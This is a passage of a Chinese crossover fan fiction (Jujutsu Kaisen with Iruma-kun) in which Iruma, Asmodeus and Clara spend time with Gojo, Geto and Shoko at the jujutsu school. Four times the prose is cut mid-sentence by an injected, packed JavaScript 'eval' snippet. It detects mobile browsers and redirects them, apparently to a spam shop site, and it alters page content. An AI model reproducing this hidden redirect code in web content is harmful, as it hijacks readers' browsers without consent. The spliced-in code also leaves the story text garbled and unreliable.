入间:“……” 入间:“是的,虽然有点困难,但是事件相关的咒灵我们还是祓除了。” 辅助监督察觉到自己的失言,干笑着回答:“嗯……哈哈,还得,我这就来接你们回去。也不用一直‘您’啊‘您’啊或者‘辅助监督前辈’的叫,我是你们的学长,叫我名字就好。” 确实,一直没有正儿八经的称呼,这样有点不太礼貌,于是入间非常真诚地询问:“请问学长您怎么称呼?” 辅助监督:“……” 沉默片刻,辅助监督崩溃的声音撕心裂肺地从对面传了过来:“那家伙——居然到现在都没有告诉你我的名字吗?” 不知道说的是阿斯莫德还是五条悟,从语境来看可能是前者。 说归说,骂归骂,学长的车来得还是很快的。 “怎么没看到跟你形影不离的那家伙?”辅助监督三浦俊介在看到现场的时候,情不自禁流露出几分意外,虽然不喜欢那个让他痛失姓名,一直称作辅助监督学长的家伙,不过……这次他们是一起出的任务吧? 想到这里,像是意识到了什么,三浦俊介有点担心地看着入间——不会是…… “啊……这个啊……”因为脑子里在疯狂思考各种事情,所以入间说话也慢吞吞的,“他有事先回去了,晚点会见到的。” 三浦俊介:“……” 没事啊,那真是……太好了。 紧接着,他就看到了入间怀里有什么东西动了动,惊讶得甚至开始胡言乱语:“活的?什么东西!你不会是被咒灵控制了吧?控制了你就眨眨眼!” 差点被当作咒物或者咒灵看待的活物动了动,从宽大的衣服里探出小小的脑袋,赫然是一个迷迷瞪瞪刚从梦里醒过来的普通小女孩。 虽然只有纪录片上的几面之缘,辅助监督还是认出了小女孩的身份:“饭沼……铃?” “嗯。”入间点了点头,“她的哥哥和矢代先生一起,还是把她救下来了。” 具体究竟采用了什么手段暂时不得而知,总之饭沼家的小女儿,被用一种相当微妙的手段控制在了咒灵的领 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16912076|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 域里,甚至还能向外求救。入间被卷进咒灵幻境,就是听到了她的求救声。 大概是因为一直被困在咒灵的幻境里,饭沼铃看起来状态有点蔫巴,不过精神状态还是很好,咒灵在这种被保护得相当好、最恐怖的幻境是找不到玩具的小孩子榨不出什么负面情绪,又不能突破保护的屏障,索性当成吸引别人的诱饵。 入间他们祓除了咒灵之后,在某个小小的角落里发现了她。 目前来看,能够收留饭沼铃的,除了福利院,就是已经失去孩子的岸田家了。 入间看着枕着自己的腿、蜷缩姿态入睡的饭沼铃,还有些犹豫:“不过,作为受害者家庭,真的能接受加害者家里的孩子吗?血缘关系可不是万能灵药啊。” “也没有更好的出路了吧?”三浦俊介叹了口气,看着后视镜里的两个人,“我们作为咒术师,解决咒灵就已经完成任务了,更多的事情,还能怎么干预呢?” 所以最终还是去了岸田家。 他们忐忑不安地上前敲门,门打开了一条窄而黑的缝隙,里面被门外光纤点亮的那双枯槁的眼睛长久地盯着他们,似乎在等待着最后的判决。 岸田太太在这些天里消瘦得更快了,不论是爱啊恨啊,情绪都要用生命力燃烧,显然,她的身体已经燃烧到了末端,只需要再加一把外力,就能消耗殆尽。 饭沼明正留下的、交给岸田家表达歉意的款项并没有使她的生活得到什么改善,身上的衣服看起来似乎从来没有变化过,仿佛生怕丝毫的改变会成为压死骆驼的最后一根稻草,让一切彻底走向无法挽回。 三浦俊介深吸一口气,作为辅助监督的职业素养上线,即使是拼着被泼开水,也要传达出令人遗憾的结果:“您的孩子良树……” “妈妈。”旁边的饭沼铃忽然开口,声音不大,却打断了辅助监督的发言。在惊愕的视线里,这个孩子懵懵懂懂地看着岸田太太,问她,“我的数学没有及格,还能去游乐园吗?” 这样简单一句话,却让岸田太太泣不成声,门被完全推开,她七扭八歪地走了几步,一把搂住了饭沼铃:“你、你……我的孩子,我们回家、回家……” “在别人的身体里也没关系……变掉性别也不要紧,我们回家、回家……” 这是他们母子之间私下的约定。 良树的愿望是去游乐场玩一回,岸田太太答应了只要他的期末成绩能够有所进步,就会带他去游乐园。 因为顾及饭沼家最近的焦头烂额,为了不招人闲话,说他们没有心,岸田太太和良树并没有声张。良树也答应过她,不会告诉任何人…… 那么,这就是她的良树! 此情此景,饭沼铃的抚养权归属已经毋庸置疑了。 事情解决,三浦俊介带着入间回学校。 “到底是这个孩子出于自保的本能而说出这样的话,还是真的……良树的灵魂真的在她的身体里呢?”三浦俊介有点费解地喃喃,虽说良树懂事,但是小孩子嘛,偶尔说漏嘴也不是没有可能,“算了,这也不是我们该费心的事情了。” 是又如何,不是又如何呢?总归这个绝望的母亲相信了,并且愿意收留这个孩子。 那么别的事情也不是他们能够置喙的了。 52.克拉拉来也! 回去的路上,三浦俊介坐在驾驶室,忍了又忍,还是没能忍住,时不时看一眼后座,欲言又止。 就是说……那个……那个整天“入间君”“入间君”地叫着的家伙,到底哪里去啦? 而入间……入间在解决完受害者归属问题之后,心里的负担被放下,重新将自己沉浸在一个活生生的人、咳,恶魔被随手拍进灾厄之书的震撼中,没有再说话了。 是的,在事件之后没有出现的阿斯莫德,不是被吓走、乃至跟着沙利文回了魔界,也不是奇里欧和香织不在乎他的存在随口提出的“可能死掉了”,而是…… 时间拉回到沙利文离开之前,被告知入间人类身份的阿斯莫德带着不可置信的表情看向尊敬的理事长大人,得到的只是点头:“是的,入间是纯粹的人类。” 入间大人?人类? 阿斯莫德发现,这件事对他来说还没有发现自己对入间大人贪婪的念头来得更让魔情绪激烈,思考了一下入间大人的血对于魔界生物的吸引力和营养程度,居然有种意料之外、情理之中的感觉。 至于为什么唯一一个一直独身多年的魔界三杰之一会蹦出来一个纯人类的孙子,说实话,阿斯莫德也不是很在意,这不是他现在的身份能够、或者应该好奇的问题。 对他来说,入间大人就是入间大人,他并不是因为入间大人是理事长的孙子才决意追随的。 “即使是这样……我和入间大人依然是朋友。”阿斯莫德说着,不知道为什么自己的虎牙痒痒的,像是因为什么而无法感到餍足,“我依然想要留下。” “那真是太好了!”沙利文的眼睛里重新汇聚起笑意。 还没等阿斯莫德琢磨这种忽然松了一口气、逃出生天的感觉从何而来,就被沙利文随手一拍,顿时化作一道光掉进了灾厄之书。 几乎是他被拍进书里的瞬间,入间就能感应到,自己可以无视能量限制随时随地召唤阿斯莫德了。 也就是说,再遇到难以解决的问题让他俩被分开的话,阿斯莫德随时可以来到他的身边。 这……是不是有点太…… 入间说不上来,总觉得好像有点奇怪。 而沙利文只是摩挲着他的脑袋,循循善诱:“难道入间不希望保护阿斯莫德君吗?以后遇到了危险,你可以随时让他脱离,哪怕是在刚才那种领域里,不好吗?” 入间:“……” 入间的呆毛恍然大悟地竖了起来:“哦!” 于是这样的共识以一种稀里糊涂的方式达成了。 但是现在,脱离当时环境进行思考和复盘的入间,意识到了好像有哪里不对。 三浦俊介还没想好怎么追问在调查期间发生了什么,毕竟很多人从和咒灵的战斗里脱身之后,精神状态都不太乐观,他实在是怀疑会不会阿斯莫德真的死掉了…… 组织语言的当口,他忽然听到后排的入间发出了奇怪的叫声,像是想不通,又像是遇到了实在不知道怎么面对的东西。 他谨慎地从后视镜瞟了一眼:很好,是人类,没有变异。 车里的符咒没有燃烧,证明上车的依然是人类不是咒灵。 所以……不会他俩掰了吧?不至于吧?嘶—— 而入间……入间只是在复盘…… 伴随着复盘的回忆越清晰,事情越完整,他的心态也越来越……迷惑。 为什么,阿兹君,在我告诉他自己只是人类之后,只愣了一下就完全接受了?! 没有一点疑问,不需要什么缓冲,一如既往的态度?! 这种一脚踏空的感觉,真的……好不安啊! 这就导致了即使是跟夜蛾老师汇报任务情况,也有些不在状态:“这次的咒灵,会制造出幻境和‘分身’。如果被卷入幻境的人认可这样的幻境和身份,那么灵魂就会逐渐被卷进分身的身体里,在幻境剧情的不断推进之下,走向绝路,然后死亡。” 夜蛾:“……” 夜蛾能说什么呢,说实话,在入间和阿斯莫德音讯全无的这段时间里,他甚至做好了再次失去所有学生的准备。 入间的魂不守舍在他的意料之中——高专的同期生,一起出任务,一起生活,感情往往深厚。 加上阿斯莫德和入间在入学之前就认识,而且感情非常好……入间失去同学的悲痛,只多不少。 最后,他只能面带愧疚拍了拍入间的肩膀,“抱歉,大概又是‘窗’的情报出现了问题……我……又害死了一个学生……我……” 早该想到的,总监会不可能放过这种拥有实力却没有根基的孩子。本来以为总监会遇袭,没有证据也没有线索指向他们,总监会多少有所收敛。 是他小看了总监会的不择手段,作为老师,却又一次让学生身处危险之中,他实在是…… “啊?没关系的老师。”入间从自己的思绪中抽离,手忙脚乱对夜蛾安慰道,“阿兹君没事的,他真的没死!” 这边鸡飞狗跳、手忙脚乱,灾厄之书的空间里,差点就在人类社会身份注销,彻底社会性死亡的阿斯莫德,还在岁月静好地思考感情问题。 因为父亲的影响,阿斯莫德产生了类似于“造神”这种虚无的念头,追逐着被称作“魔王”的幻影,不断要求自己、提升能力,以成为魔王的左膀右臂为己任。 而这些虚无缥缈、却又寄托着一切努力的欲望的东西,在他认定追随入间大人之后不断定格、深化,为入间大人加冕,又在他和入间大人的相处不知不觉间淡去。 如果在一开始,入间大人真的把他当作手下,或许他就这么抱着理想中的模板追随一生了,他不知道自己会不会在某天失望然后离开,但是他知道,经过了长时间的亲密相处,入间大人逐渐取代了那个理想的模板,成为了他眼前的触手可得。 阿斯莫德现在才意识到,不知从什么时候开始,坚定的忠诚和目标逐渐变成了具体的人,即使是知道入间大人是人类 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16928511|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他竟然也没有被蒙骗的悲愤或者想象中的崩溃。 入间大人……是人类啊。 原来如此,所以因为生活在和魔界截然不同的社会里,所以才会对着所有人抱有平等的、温柔地态度……那些和恶魔不同的习惯带来的、可爱的懵懂,都是足够吸引人的至珍。 也因此,入间大人才会偶尔露出那种不安的、欲言又止的神色。 入间大人身份的暴露,带给他的不是什么被欺骗的愤怒或,甚至于,在知道的那一瞬间,最先涌上心头的,是不可抑制的狂喜…… 只有他知道的,与他最靠近的秘密。他贪婪地希望这样的秘密足够多,越来越多,直到能够支撑更多、更亲密的接触…… 为什么不可以呢?他问自己。 当然可以。 因为这是他的、他一开始就在追随和选择的……入间大人,他们共享着这个秘密,守护着这份信任,紧紧抓住彼此,就像纠缠在一起的藤蔓和树。 或者说,他们之家,本该如此。 贪婪、自私……放纵欲望,这才是恶魔的本性。性别之类的外界因素从来不会影响他们伸出的手。 即使是凯洛莉,她面对嘉莉的欲拒还迎、专门喊伊露米来充当矛盾的靶子,昭告自己的心并不会为嘉莉带来的猛烈追求所动,也只是为了牢牢钩住喜新厌旧恶魔的借口。 像是带毒的植物摇曳着纯洁的花朵,只为了将沉醉其中的猎物缠绕俘获,小心翼翼把握着平衡,只为了吞噬那一份其实自己也早就共沉沦的甜美。 出于尊重,以及一些难以言说的直觉,他一向克制得很好,好到连自己都没有发现感情的变质,如果没有这次的意外,恐怕自己依然认为,只要入间大人的名字,就能让恶周期的自己彻底清醒过来这种程度,也只是追随的忠诚使然。 倘若他胆怯一点,大概只会即使知道自己的心意,也坚持退回到一个可能远比从前陌生的距离。 但是……但是为什么不呢? 在认清自己的心理之后,阿斯莫德几乎是立刻做出了决定—— 为什么,入间大人的爱意不能属于自己呢? 冥冥之中,只有他被入间大人召唤来此,灵魂相互纠缠、难以分开,一同出任务、一同生活…… 那么,入间大人身边站着的人,为什么不可以是他? 追求心上人就像猎取猎物,潜伏、同化,降低猎物的警戒心,最后一击必杀。 理应如此。 抱着这样的思想,阿斯莫德被入间召唤了出来。 他正准备开口,却被吵吵嚷嚷的声音打断:“阿兹阿兹,背着我和入间亲一起玩!可恶!” 而入间大人有点不太好意思地对着他微笑:“不管怎么说,让阿兹君一个恶魔在异世界还是太寂寞了,所以……我召唤来了克拉拉。” 阿斯莫德:“……” 阿斯莫德简直眼前发黑。 其实寂寞一点挺好的。 53.陪玩三人组 阿斯莫德,遭遇正在魔生的重大打击。 一,是在试图趁着只有自己和入间大人独处的时候培养感情,但是奈何入间大人太体贴,以至于现在他们的世界里多了一个吵闹的克拉拉,这段感情顿时变回了熟悉的拥挤。 二,则是他们现在已经是二年级学生的身份——因为他们在幻境中浑然不觉,但是其实现实已经过去很久了。这也就意味着,他们所期待的春假,也接近了尾声。 阿斯莫德:“……” 刚放假就穿越过来已经是丧心病狂了,没想到即使是在另一个世界也需要上学,上学就算了,怎么假期又被一键删除了! 没有这么耍人的! 所以,现在绝望躺在教室里的,有两个人了。 冥冥也去出任务了,现在也算是二人世界吧,阿斯莫德只能这样苦中作乐地安慰自己。 “入间亲,阿兹阿兹,你们在干什么?” 克拉拉的脑袋充满好奇地凑了过来,然后不由分说插进了他们中间:“你们在玩什么?我也要我也要——” 阿斯莫德:“……” 阿斯莫德:“哈、哈哈……” 原来在崩溃的时候居然最先做的表情是笑出来啊。 好累,魔生怎么能如此疲惫。 “咳咳,其实……”来到教室里的夜蛾轻车熟路忽略掉大概又是入间召唤出来的新的人物,咳了两声,本来想宣布坏消息的,但是这么看来对他们来说说不定是好消息,“高层施压,要求我继续担当新的一年级的班主任……不过他们没有找到新的教师人选来替换我,所以……” 说到这个,本来蔫得像酷暑下小白菜的两个少年立刻精神了:“那真是太好……我们的意思是……太遗憾了哈哈,怎么会这样呢,你说是吧,阿兹君。” “是啊是啊。”阿斯莫德应和,“不能继续当您的学生实在是太遗憾了,那么这段时间……” “是的,我依然是你们名誉上的班主任,由于你们一年级已经把大部分常识基础补充和学习完毕,所以……” 夜蛾本来还想勉力维持一下作为教师的尊严,但是在看到他们仨挤在一起露出的可怜表情,是的,秉持着虽然不知道发生了什么总之加入就对了的想法,克拉拉也丝滑加入。 他叹了口气,露出有点无可奈何的笑:“总之,在这段时间里,我可能不太能顾及到你们,你们可以当作是一段时间的假期。” “老师万岁!” “感谢您!” “万岁!”这是不明所以但是欢呼就对了的克拉拉。 于是,入间和阿斯莫德的假期,以一种神奇的方式,弥补上了。 感谢总监会的坏心办好事! 大概是被夜蛾提前告知过,关于他们上一届的学长入间能召唤奇奇怪怪人物的事情,所以顺理成章来到东京高专进行就读的熟人学弟学妹们——五条悟夏油杰以及从不死鸟机构里抢出来的家入硝子,和夜蛾一样,并没有对莫名其妙出现的新人表达出疑惑。 或者说,恰恰是因为他们,入间和阿斯莫德,获得了一段时间的清闲。 倒也不是入间和阿斯莫德对克拉拉有什么意见,实在是她的精力旺盛到了一定的程度,出完任务的两个人现在只想休息,休息完再考虑接踵而至的各种问题。 但是,克拉拉不行。 入间也意识到自己似乎弄巧成拙,阿兹君并不想增加新的遛……咳,消磨同学精力的负担,而克拉拉……请神容易送神难,在她心满意足之前,是不会愿意离开的,甚至会撒泼打滚,表达对两位好友“孤立”自己的不满。 “入间亲!过分!” “阿兹阿兹,独占入间亲,过分!” 所以对克拉拉充满好奇的学弟学妹们,就这样在某种程度上帮助他们分担了很多。 当然,秉持着负责任的态度,入间也对学弟学妹们在克拉拉面前表现出的态度暗自观察了一段时间,事实证明,他们的精力,尤其是五条悟和夏油杰两位学弟,和克拉拉一样旺盛。 “喔哦!!!” 旁边的操场上又一次爆发出了小小的惊呼,入间有些不安,从懒洋洋地躺着变成坐起来,认真地盯着发出惊呼声的地方。 被三个黑衣学生们围着的绿色长发的少女拍了拍自己的裙子口袋,卡通图案打开,伴随着一阵白光,一条香烟掉了出来。 “哼哼,这就是我的家系能力!只要我见过的东西,都能给你变出来!” 在惊呼中,克拉拉洋洋得意。 看着超级配合的学弟学妹们,入间安详地继续躺在了一边。 入间担心克拉拉的一个重要原因就是,她其实不太聪明,或者说,对很多事情有着天然的钝感。可爱,但是容易受到欺负。 加上还有着这样近乎心想事成的能力,因此在一段时间里经常被当成随便欺负的笨蛋工具人。 不过显然,他们没有这个恶意。 只见家入硝子扔开自己手里用于展示的空瘪烟盒,心满意足地拿到了自己想要的东西后,迫不及待地拆开抽了一口,手法之老练、口袋里的打火机之隐蔽,让人怀疑在“不死鸟”生活的那些年是否也是这样轻车熟路抽烟。 克拉拉带着好奇凑近了家入硝子,闻了闻气味,然后默默退开:“臭臭的。” “确实。”五条悟点了点头,被家入硝子翻了个白眼,“哇,家入同学你这是什么态度,好拽哦。” 家入硝子没理他,从口袋里摸出一盒pocky,拆开了塞到克拉拉嘴里:“谢谢啦,那些商超里都不准未成年人购买,还挺麻烦的。尝尝这个,我挺喜欢吃的。” “哼哼!”克拉拉叼着pocky嚼了嚼,点了点头,“我决定喜欢你啦!” “哦?那真的很荣幸了。”虽然年龄上家入硝子要小一些,此刻却像是一个温和的大姐姐,抚摸着她的头发,“我还有一些蝴蝶结发卡,之前留长头发时候戴的,你要不要看看有没有喜欢的?” “好!” 而五条悟不甘示弱:“还有老子!老子也想玩!” 克拉拉转过头:“那你想要什么?快来拜托伟大的克拉拉大人吧!” 五条悟思考片刻,相当上道:“好,伟大的克拉拉大人,请赐予老子,咳,赐予我机械暴龙兽的手办!” 说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16932884|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着还给克拉拉看手机里存着的手办的照片。 克拉拉拍了拍口袋,果然掏出来一只机械暴龙兽模型。 “呜呼!”五条悟欢呼,“完全是哆啦A梦的口袋啊!” 克拉拉转过头,没有放过另一个一直一言不发的少年:“还有你,需要什么吗?” 正在沉思的夏油杰挑了挑眉:“这个……抱歉,我还没想好。” “还在为了昨天输给老子耿耿于怀吗?杰。”五条悟笑嘻嘻地揽住夏油杰的肩膀,在入间他们不知道的时候,两个人的关系简直好得突飞猛进,“那要不你许愿咒灵?” “不,这样太麻烦别人了。” 但是这个“别人”已经听到了他们的交谈,发出了坚持的声音:“咒灵?给我看看!” 夏油杰摇摇头,露出一个抱歉的微笑:“对不起,目前的设备是没有办法拍出咒灵的,悟在开玩笑……” 显然他的同期没有放过他的意思:“报告克拉拉大人,这里有!这家伙明明耿耿于怀那只因为跟老子打架而错过的咒灵!” 说着就拿出了夏油杰用素描方法画下逃跑咒灵的纸张。 “虽然有点难……但是也不是不可以试试!”克拉拉盯着画纸思索片刻之后,拍了拍她的口袋。 一只面目狰狞的准一级咒灵出现在了高专的操场,伴随着结界的警戒声大作,局面顿时陷入了混乱。 家入硝子作为没有杀伤力、纯粹治愈系奶妈,被夏油杰的咒灵顶在头上脱离战斗现场,夏油杰和五条悟对咒灵攻击着攻击着,就打在了一起…… 入间神色凝重,看着欢脱热闹的打咒灵场面,转过头,对阿斯莫德充满不确定地确认:“我们之前见到的五条君,是这个样子的吗?” 阿斯莫德也神色凝重地摇头:“完全不是,之前是那种冷漠只想打架的疯子吧。” 上学能把一个人改造到这种地步吗? 入间,露出了不明觉厉的表情。 现在也才只是学期开始,没怎么正式上课吧? “非常感谢克拉拉大人的礼物!”解决掉咒灵之后,现在拜倒在克拉拉家系能力下的人又多了一个,“所以……有什么我们能做的吗?” 不然这个咒灵他拿着良心不安。 “嗯……有!”克拉拉思考片刻,“你们!陪我玩!” 这句“陪我玩”完全没有收敛音量的意思,而听到这句话,入间和阿斯莫德简直垂死病中惊坐起:“当心——” 而浑然不觉的学弟们已经一口答应下来:“好啊!” 实在想不到这种事还能埋什么雷的夏油杰、五条悟二人组和经历过各种陪玩的入间、阿斯莫德二人组面面相觑,发出了迷惑的音节:“欸?” 为什么,要用这么同情的眼神看着我们? 而入间只是双手合十,非常善良地为学弟们祈祷:“希望只是简单的唱歌跳舞。” 然而注定事与愿违,只见克拉拉掏出小山一般丰富多彩的棋子和巨大的棋盘:“来吧,一起来玩恩加拉卡!” “咚!”听到这四个字,入间悬着的心终于死了。 “入间大、入间君——” 54.恩加拉卡 恩加拉卡,克拉拉发明的棋子游戏,不仅有1056颗棋子,规则也相当繁琐。 “生气鬼比温柔妹要强,认真蜂和贤惠兔不会打架……”克拉拉如数家珍地将这堆完全找不到共同点,纯粹规则堆积的棋子摆放整齐,“最后,棋子最多的人获胜!” 有幸躲过下棋但是进行过游戏观摩的阿斯莫德搓着手臂,心有余悸:“克拉拉的智慧只会在玩上体现得淋漓尽致。” 但是平时实在是……迟钝到了一种登峰造极的程度。 入间没法否认,点了点头,两个人挤在一起,看起来相当恐惧。 虽然以阿斯莫德的强自尊实在不愿意真的承认,不过在游戏方面,确实是这家伙在迁就他们。 “好哇!”学弟们浑然不觉,还在兴奋应和。 家入硝子看了看两位学长的表情,敏锐察觉到了什么,于是迅速摇头,率先退出:“那你们俩来吧,我在旁边看着。” 克拉拉则是大手一挥:“你们俩,都可以上哦!” “感觉被看扁了呢。”不信邪的五条悟率先出战。 而夏油杰犹豫了那么一会,出于一种敏锐的直觉,选择掏出了随身的小本子疯狂记录克拉拉口中的规则。 事实证明,比起咒术纯粹用来打咒灵的咒术界,将咒诀和魔力应用到生活方方面面的魔界还是太有意思了。 游戏里充斥着dk们的大呼小叫:“哇啊!这个棋子居然是自己动的!” “什么情况,怎么进化了?” “我明白了,悟!是……遇到……,所以变强了!” “那个黑色的和绿色的是什么关系来着?” “它们之间没有关系!” “本子、杰!本子给老子看看!” 每半小时更是精彩纷呈,伴随着入间一脸不忍但是也没手软地按下播放器,克拉拉的歌声就从里面传了出来:“恩加拉卡,恩加拉卡,恩加拉卡嗯!恩加拉卡……” 然后两边的“战斗人员”就得站起来,跳一段蜜汁舞蹈。 到后面,没有了陪玩的念头,全是扳回一局的渴望。以至于五条悟直接选择拉夏油杰下水:“杰,你也别想置身事外,一起来!” 夏油杰立刻后退“这样会破坏游戏公平性的!” “哈?到底是真的害怕破坏游戏公平还是害怕跟老子一起丢人?” “你也知道很丢人啊!” 至于早有先见之明的家入硝子……她的手机全程没闲着,拍到后面笑得手几乎拿不稳手机。 太有意思了,实在是太有意思了。虽然这样不太好,但是开学就有了能拿捏男同学的纪念录像实在是一件美事。 眼见着己方又一个温柔妹变成了生气鬼,并且聚集在一起,颤抖着融合进化变成超生气鬼,扫空了一大半棋盘,两位不知险恶的学弟终于破防。 大概是想起了入间的老好人人设,和当初只要拜托了他就会满口答应,一戳一蹦哒,两个dk不假思索飞奔到了入间面前,发出了请求:“请替我们下场吧,拜托了,入间学长!” 克拉拉得意地叉腰大笑:“哼哼,居然连入间亲都搬出来了,是确定要输给克拉拉大人了吗?” “站在你们面前的,是入间亲和阿兹阿兹的朋友,还是乌拉拉、光仔、奇宝、森森、兰兰的姐姐,瓦拉克家的长女,爹地妈咪的孩子,瓦拉克·克拉拉!” “她嘴里的名字分别都是谁?” “只要知道是她家里人就行了,好了好了,这里站不下那么多人!” 而被他们当做救星的入间疯狂摆手,居然学会了拒绝:“不,我也不行的。” 五条悟:“!!!” 他戳了戳夏油杰,神色夸张:“天哪,到底是谁偷走了那个无法拒绝别人的入间前辈!” 即使在叫学长,语气里也完全没有尊敬的意思啊喂! 夏油杰不明所以,却非常配合:“是啊,如果是几个月以前的爱抖露入间前辈,一定不会拒绝我们的。” 哇,黑历史!是黑历史!他们选择打出了黑历史牌! 奈何在场所有人,都已经见识过了入间的女装。尤其是家入硝子,虽然她也因为男女装判若两人而感到震惊,但是在离开“不死鸟”来到高专,在医务室里见识过各种奇葩性格的咒术师之后,入间,简直正常到令人流泪。 眼见求助无门,两个学弟,最后还是被拖回了恩加拉卡前,在努力挣扎许久,互相拖后腿之后,成功以一棋之差输给了克拉拉。 “老子觉得……不该要机械暴龙兽的。”五条悟发出后悔的声音,“应该要魔界更有意思的东西。” 夏油杰同情地拍了拍他的肩膀:“没关系的,悟,至少我拿到了咒灵。” “哈?” 账是这么算的吗? “不要打架!”眼看着又要来一场切磋,克拉拉忽然站在他们中间,像是一个合格的幼儿园老师,“好朋友,不可以吵架!可以一起来乐园玩!” “乐园?” “哼哼!说出来就不是惊喜啦!”没有解答他们的疑惑,克拉拉转过头问入间他们,“入间亲,喜欢奇怪东西的学妹,你们要来玩吗?” “好啊!”入间点了点头。 阿斯莫德自不必说,家入硝子在确定他们俩都愿意加入之后,在心里对“乐园”的安全性打了个对勾,也同样表达了参加的意愿。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16937975|187507||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>伴随着进入在巴比鲁斯的第二个学年,大家都在修行中发掘了很多新的能力,入间学习弓箭,阿斯莫德控制恶周期的释放,克拉拉则是研究出了“乐园”。 就像阿斯莫德说的,克拉拉,在“玩”上,是天才。 她的“乐园”也确实令人流连忘返。 一阵强大的吸力把所有人卷进了克拉拉的“乐园”,于是软绵绵的云朵地面上,趴着六个圆乎乎软绵绵的幼崽。 颜色最鲜明的那几个自不必提,在两个黑色妹妹头小朋友的中间,还点缀着一个白发蓝眼的团子,原本即使在年幼时期也没能长出来的婴儿肥被“乐园”强行增加,看起来懵懂可爱。 夏油杰一脸茫然看了看自己的手脚,在迅速接受现实之后看向了五条悟:“悟,你看起来好可爱哈哈哈哈哈!” “哈?”五条悟有点不爽和臭屁地打出真伤,“杰,原来你从小眼睛就这么小。” “都说了那是眼型问题!” “哈,明明就是心虚!” 于是两个圆滚滚的小朋友就在柔软的、草莓棉花糖一样的云朵里你一拳我一脚地打了起来。 “禁止!不和谐禁止!”克拉拉即使已经变成了小朋友的形态,也依然很有一个带头孩子王的样子,“小朋友,不可以打架!” 而一旁的入间像是想起了什么,连忙掏出灾厄之书——他还记得克拉拉的“乐园”,有着吸收别人魔力的能力,于是不由自主开始担心,存放能量的灾厄之书,召唤克拉拉和在“乐园”玩耍两头烧,还能坚持多久。 让他大感意外的是,原本抱着克拉拉难得一来的想法,想着用了就用了的能量条,不仅没有被挥霍,反而正在稳步上涨! 一旁知情的阿斯莫德也被震撼到了,几乎是瞬间灵光一闪,让他提出了建议:“入间大人,我觉得我们可以开发新项目——吸引咒术师和普通人来到克拉拉的口袋空间,然后剥削……我是说提供玩耍场所,吸收咒力。” 正在为升阶问题烦恼的入间:“!!!” “阿兹君,你简直是天才!” 只是,还没等他们进一步探讨这个问题,家入硝子的手机响了。 尖锐的铃声十分刺耳,像是催命的警铃,完全打破了快乐童真的氛围。躺在棒棒糖树下的家入硝子叹了口气,拿出手机,无意中按下了免提键,于是焦虑的声音透过话筒传到了入间耳畔:“硝子小姐,您在哪里?禅院……大人受了伤,正需要您的救治。作为珍贵的医疗资源,您应该呆在高专,而不是擅自跑……” 入间原本快乐的表情一下子呆住。 他……让家入硝子在离开“不死鸟”之后来到高专,真的,是对的吗? 55.支持你成为魔王! “阿兹阿兹,独占入间亲,小气!小气!” “你是女生,去男生宿舍干嘛?” “为什么不可以?” “就是不可以啊!” 将死缠烂打想一起合宿的克拉拉送去女生宿舍,阿斯莫德一边心累一边归心似箭,入间大人的情绪在家入硝子接到电话不得不去为御三家的某位进行诊疗的时候,就迅速变得低落,甚至还有些自责。 不管是出于朋友的关怀还是暗恋的私心,阿斯莫德显然都无法坐视不理。 “入间亲,不开心,我,克拉拉,带入间亲玩游戏!” 本来拉扯的力度一下子轻了起来,原来连克拉拉也发现了,所以才想通过自己的办法让入间振奋起来。 但是…… “我会开导入间大人的,你,老老实实去休息,或者被入间大人送回魔界。” “阿兹阿兹,狡猾!”经过入间和阿斯莫德在刚开始的科普,克拉拉已经知道这里不属于魔界了,回去与否决定权在入间身上,她也气得用力跺脚,贫瘠的词汇量让她一时不知道该用什么样的词汇来斥责这家伙,“狡猾!坏蛋!自私!小气鬼!” “我会负责入间大人的情绪开导,你……”阿斯莫德本想说“洗洗睡”之类的话,但是想起克拉拉将两个学弟吸纳进“乐园”之后入间大人得到的咒力,还有克拉拉对于入间赤诚的关切,话在嘴边打了个弯,指出了另一条路,“你吸收的魔力有一部分可以返还给入间大人,如果一定要帮忙,可以多吸收一点他们身上的魔力。” “诶?”克拉拉立刻乖巧下来,“真的吗?” 